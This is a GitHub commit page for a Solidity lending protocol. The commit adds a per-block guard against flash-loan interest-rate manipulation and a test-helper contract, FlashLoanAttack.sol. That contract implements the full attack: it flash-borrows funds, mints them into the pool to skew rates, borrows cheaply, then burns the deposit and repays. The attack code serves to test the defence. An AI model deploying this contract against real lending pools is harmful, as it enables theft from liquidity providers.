Skip to content

Commit

Permalink
Merge 9835114 into 8f59cc2
Browse files Browse the repository at this point in the history
  • Loading branch information
computerphysicslab authored Jun 1, 2021
2 parents 8f59cc2 + 9835114 commit 896d953
Show file tree
Hide file tree
Showing 9 changed files with 1,107 additions and 6 deletions.
5 changes: 5 additions & 0 deletions contracts/connectors/loantoken/LoanTokenBase.sol
Original file line number Diff line number Diff line change
Expand Up @@ -74,4 +74,9 @@ contract LoanTokenBase is ReentrancyGuard, Ownable, Pausable {
/// The maximum trading/borrowing/lending limit per token address.
/// 0 -> no limit
mapping(address => uint256) public transactionLimit;

/// @notice A mapping of accounts stores those who
/// lend/withdraw on current block.
/// block => account => true/false
mapping(uint256 => mapping(address => bool)) internal hasInteracted;
}
47 changes: 42 additions & 5 deletions contracts/connectors/loantoken/LoanTokenLogicStandard.sol
Original file line number Diff line number Diff line change
Expand Up @@ -67,6 +67,8 @@ contract LoanTokenLogicStandard is LoanTokenSettingsLowerAdmin {
/**
* @notice Mint loan token wrapper.
* Adds a check before calling low level _mintToken function.
* This function is called by a user to provide liquidity to a loan pool.
* To get back the provided underlying tokens, the user calls burn function.
* The function retrieves the tokens from the message sender, so make sure
* to first approve the loan token contract to access your funds. This is
* done by calling approve(address spender, uint amount) on the ERC20
Expand All @@ -75,21 +77,26 @@ contract LoanTokenLogicStandard is LoanTokenSettingsLowerAdmin {
*
* @param receiver The account getting the minted tokens.
* @param depositAmount The amount of underlying tokens provided on the
* loan. (Not the number of loan tokens to mint).
* deposit. (Not the number of loan tokens to mint).
*
* @return The amount of loan tokens minted.
* */
function mint(address receiver, uint256 depositAmount) external nonReentrant hasEarlyAccessToken returns (uint256 mintAmount) {
/// Temporary: limit transaction size
/// @dev To avoid flash loan attacks.
_checkNotInTheSameBlock();

/// @dev Temporary: limit transaction size
if (transactionLimit[loanTokenAddress] > 0) require(depositAmount <= transactionLimit[loanTokenAddress]);

return _mintToken(receiver, depositAmount);
}

/**
* @notice Burn loan token wrapper.
* This function is called by a loan pool liquidity provider requests
* its underlying tokens back.
* Adds a pay-out transfer after calling low level _burnToken function.
* In order to withdraw funds to the pool, call burn on the respective
* In order to withdraw funds from the pool, call burn on the respective
* loan token contract. This will burn your loan tokens and send you the
* underlying token in exchange.
*
Expand All @@ -99,6 +106,9 @@ contract LoanTokenLogicStandard is LoanTokenSettingsLowerAdmin {
* @return The amount of underlying tokens payed to lender.
* */
function burn(address receiver, uint256 burnAmount) external nonReentrant returns (uint256 loanAmountPaid) {
/// @dev To avoid flash loan attacks.
_checkNotInTheSameBlock();

loanAmountPaid = _burnToken(burnAmount);

if (loanAmountPaid != 0) {
Expand Down Expand Up @@ -333,6 +343,7 @@ contract LoanTokenLogicStandard is LoanTokenSettingsLowerAdmin {
/// @dev Compute the worth of the total deposit in loan tokens.
/// (loanTokenSent + convert(collateralTokenSent))
/// No actual swap happening here.

uint256 totalDeposit = _totalDeposit(collateralTokenAddress, collateralTokenSent, loanTokenSent);
require(totalDeposit != 0, "12");

Expand All @@ -351,7 +362,6 @@ contract LoanTokenLogicStandard is LoanTokenSettingsLowerAdmin {
sentAmounts[4] = collateralTokenSent;

_settleInterest();

(sentAmounts[1], sentAmounts[0]) = _getMarginBorrowAmountAndRate( /// borrowAmount, interestRate
leverageAmount,
sentAmounts[1] /// depositAmount
Expand Down Expand Up @@ -869,6 +879,7 @@ contract LoanTokenLogicStandard is LoanTokenSettingsLowerAdmin {
* @dev Internal sync required on every loan trade before starting.
* */
function _settleInterest() internal {
/// @dev To avoid flash loan attacks.
uint88 ts = uint88(block.timestamp);
if (lastSettleTime_ != ts) {
ProtocolLike(sovrynContractAddress).withdrawAccruedInterest(loanTokenAddress);
Expand Down Expand Up @@ -909,7 +920,7 @@ contract LoanTokenLogicStandard is LoanTokenSettingsLowerAdmin {

/// @dev Probably not the same due to the price difference.
if (collateralTokenAmount != collateralTokenSent) {
//scale the loan token amount accordingly, so we'll get the expected position size in the end
/// @dev Scale the loan token amount accordingly, so we'll get the expected position size in the end.
loanTokenAmount = loanTokenAmount.mul(collateralTokenAmount).div(collateralTokenSent);
}

Expand Down Expand Up @@ -981,7 +992,12 @@ contract LoanTokenLogicStandard is LoanTokenSettingsLowerAdmin {
uint256[5] memory sentAmounts,
bytes memory loanDataBytes
) internal returns (uint256, uint256) {
/// @dev To avoid running when paused.
_checkPause();

/// @dev To avoid flash loan attacks.
_checkNotInTheSameBlock();

require(
sentAmounts[1] <= _underlyingBalance() && /// newPrincipal (borrowed amount + fees)
sentAddresses[1] != address(0), /// The borrower.
Expand Down Expand Up @@ -1382,6 +1398,27 @@ contract LoanTokenLogicStandard is LoanTokenSettingsLowerAdmin {
require(!isPaused, "unauthorized");
}

/**
* @notice Make sure caller did not perform any previous operation in the
* current block.
*
* @dev To protect from the lending fees manipulation using flash loan we
* need to prevent lending and withdrawing from the pools in the same
* tx/block by the same account.
* */
function _checkNotInTheSameBlock() internal {
uint256 _currentBlock;

/// @dev Get and buffer current block.
_currentBlock = block.number;

/// @dev Check there are no previous txs in this block coming from same account.
require(!hasInteracted[_currentBlock][msg.sender], "Avoiding flash loan attack: several txs in same block from same account.");

/// @dev Update previous activity mapping.
hasInteracted[_currentBlock][msg.sender] = true;
}

/**
* @notice Adjusts the loan size to make sure the expected exposure remains after prepaying the interest.
* @dev loanSizeWithInterest = loanSizeBeforeInterest * 100 / (100 - interestForDuration)
Expand Down
240 changes: 240 additions & 0 deletions contracts/testhelpers/FlashLoanAttack.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,240 @@
pragma solidity ^0.5.17;
pragma experimental ABIEncoderV2;
// "SPDX-License-Identifier: Apache-2.0"

import "../interfaces/IERC20.sol";
import "../openzeppelin/Ownable.sol";
import "./ITokenFlashLoanTest.sol";

/**
* @title The interface of the lending pool iToken to attack.
* @notice Only burn, mint and borrow functions are required.
* */
interface IToken {
function burn(address receiver, uint256 burnAmount) external returns (uint256 loanAmountPaid);

function mint(address receiver, uint256 depositAmount) external returns (uint256 mintAmount);

function borrow(
bytes32 loanId, /// 0 if new loan.
uint256 withdrawAmount,
uint256 initialLoanDuration, /// Duration in seconds.
uint256 collateralTokenSent, /// If 0, loanId must be provided; any rBTC sent must equal this value.
address collateralTokenAddress, /// If address(0), this means rBTC and rBTC must be sent with the call or loanId must be provided.
address borrower,
address receiver,
bytes calldata /// loanDataBytes: arbitrary order data (for future use).
)
external
payable
returns (
uint256,
uint256 /// Returns new principal and new collateral added to loan.
);
}

/**
* @title Flash Loan Attack.
* @notice This contract performs a flash loan (FL) call to achieve a double goal:
* 1.- Get a big amount of underlying tokens (hackDepositAmount)
* during just one transaction. (FL)
* 2.- Use that big amount to manipulate the loan rate of another loan pool, and
* then get a borrow principal w/ an extremely low interest.
* */
contract FlashLoanAttack is Ownable {
/* Storage */
address iTokenToHack; /// The address of the lending pool iToken to hack.
address collateralToken; /// The address of the collateral token.
uint256 withdrawAmount; /// The borrowing principal.
uint256 collateralTokenSent; /// The borrowing collateral.

/* Events */
event ExecuteOperation(address loanToken, address iToken, uint256 loanAmount);

event BalanceOf(uint256 balance);

/* Functions */

/**
* @notice Set the parameters of the loan pool attack.
* @param _iTokenToHack The address of the lending pool iToken to hack.
* @param _collateralToken The address of the collateral token.
* @param _withdrawAmount The borrowing principal.
* @param _collateralTokenSent The borrowing collateral.
* */
function hackSettings(
address _iTokenToHack,
address _collateralToken,
uint256 _withdrawAmount,
uint256 _collateralTokenSent
) external onlyOwner {
iTokenToHack = _iTokenToHack;
collateralToken = _collateralToken;
withdrawAmount = _withdrawAmount;
collateralTokenSent = _collateralTokenSent;
}

/**
* @notice Internal launch of the FL attack.
* @param underlyingToken The address of the underlying token.
* @param iToken The address of the third party FL token pool.
* @param hackDepositAmount The big amount of underlying tokens provided by the FL.
* @return Success or failure in binary format.
* */
function initiateFlashLoanAttack(
address underlyingToken,
address iToken,
uint256 hackDepositAmount
) internal returns (bytes memory success) {
ITokenFlashLoanTest iTokenContract = ITokenFlashLoanTest(iToken);
return
iTokenContract.flashBorrow(
hackDepositAmount,
address(this),
address(this),
"",
abi.encodeWithSignature("executeOperation(address,address,uint256)", underlyingToken, iToken, hackDepositAmount)
);
}

/**
* @notice Send back the underlying tokens used in the hack to the FL provider.
* @dev On v1 flash loans the flash loaned amount needed to be pushed back
* to the FL lending pool contract. This function is doing so.
* @param underlyingToken The address of the underlying token.
* @param iToken The address of the third party FL token pool.
* @param hackDepositAmount The big amount of underlying tokens provided by the FL.
* */
function repayFlashLoan(
address underlyingToken,
address iToken,
uint256 hackDepositAmount
) internal {
IERC20(underlyingToken).transfer(iToken, hackDepositAmount);
}

/**
* @notice This is the callback function passed to the FL contract.
* @dev FL contract will call this function after providing the sender,
* (i.e. this contract) with the funds to perform the attack.
* @param underlyingToken The address of the underlying token.
* @param iToken The address of the third party FL token pool.
* @param hackDepositAmount The big amount of underlying tokens provided by the FL.
* @return Success or failure in binary format.
* */
function executeOperation(
address underlyingToken,
address iToken,
uint256 hackDepositAmount
) external returns (bytes memory success) {
/// @dev Event log to register the big amount of tokens have been received.
emit BalanceOf(IERC20(underlyingToken).balanceOf(address(this)));

/// @dev Event log to register the callback function has been called.
emit ExecuteOperation(underlyingToken, iToken, hackDepositAmount);

/// @dev The following code executes the hack using the funds provided by FL.
hackTheLoanPool(underlyingToken, hackDepositAmount);

/// @dev Payback the FL.
repayFlashLoan(underlyingToken, iToken, hackDepositAmount);

/// @dev Success.
return bytes("1");
}

/**
* @notice External wrapper to initiateFlashLoanAttack.
* @dev Register the underlying token balance before and after the FL.
* @param underlyingToken The address of the underlying token.
* @param iToken The address of the third party FL token pool.
* @param hackDepositAmount The big amount of underlying tokens provided by the FL.
* */
function doStuffWithFlashLoan(
address underlyingToken,
address iToken,
uint256 hackDepositAmount
) external onlyOwner {
bytes memory result;

/// @dev Event log to register the amount of underlying tokens before FL.
emit BalanceOf(IERC20(underlyingToken).balanceOf(address(this)));

result = initiateFlashLoanAttack(underlyingToken, iToken, hackDepositAmount);

/// @dev Event log to register the amount of underlying tokens after FL.
emit BalanceOf(IERC20(underlyingToken).balanceOf(address(this)));

/// @dev After loan checks and what not.
if (hashCompareWithLengthCheck(bytes("1"), result)) {
revert("FlashLoanAttack::failed executeOperation");
}
}

/**
* @notice Check two payloads are equal.
* @dev It compares their length and their hashes.
* @param a First payload to compare.
* @param b Second payload to compare.
* */
function hashCompareWithLengthCheck(bytes memory a, bytes memory b) internal pure returns (bool) {
if (a.length != b.length) {
return false;
} else {
return keccak256(a) == keccak256(b);
}
}

/**
* @notice Deposit underlying tokens on loan pool to manipulate its
* interest rate and borrow a principal w/ the unfair rate and get
* back the underlying tokens, all of it in just one transaction.
* @param underlyingToken The address of the underlying token.
* @param hackDepositAmount The big amount of underlying tokens provided by the FL.
* */
function hackTheLoanPool(address underlyingToken, uint256 hackDepositAmount) public {
IToken iTokenToHackContract = IToken(iTokenToHack);

/// @dev Allow the lending pool iTokenToHack to get a deposit
/// from this contract as a lender.
IERC20(underlyingToken).approve(iTokenToHack, hackDepositAmount);

/// @dev Check this contract has the underlying tokens to deposit.
require(
IERC20(underlyingToken).balanceOf(address(this)) >= hackDepositAmount,
"FlashLoanAttack contract has not the required balance: hackDepositAmount."
);

/// @dev Check this contract has the allowance to move the tokens
/// to the lending pool.
require(
IERC20(underlyingToken).allowance(address(this), iTokenToHack) >= hackDepositAmount,
"FlashLoanAttack contract is not allowed to move hackDepositAmount."
);

/// @dev Make a deposit as a lender, in order to manipulate the
/// interest rate of the lending pool.
iTokenToHackContract.mint(address(this), hackDepositAmount);

/// @dev Check this contract has the collateral tokens to deposit.
require(
IERC20(collateralToken).balanceOf(address(this)) >= collateralTokenSent,
"FlashLoanAttack contract has not the required balance: collateralTokenSent."
);

/// @dev Borrow liquidity from the pool w/ an unfair rate.
iTokenToHackContract.borrow(
"0x0", /// loanId, 0 if new loan.
withdrawAmount,
86400, /// initialLoanDuration
collateralTokenSent,
collateralToken, /// collateralTokenAddress
address(this), /// borrower
address(this), /// receiver
"0x0"
);

/// @dev Get back the amount deposited in the first place.
iTokenToHackContract.burn(address(this), hackDepositAmount);
}
}
Loading

0 comments on commit 896d953

Please sign in to comment.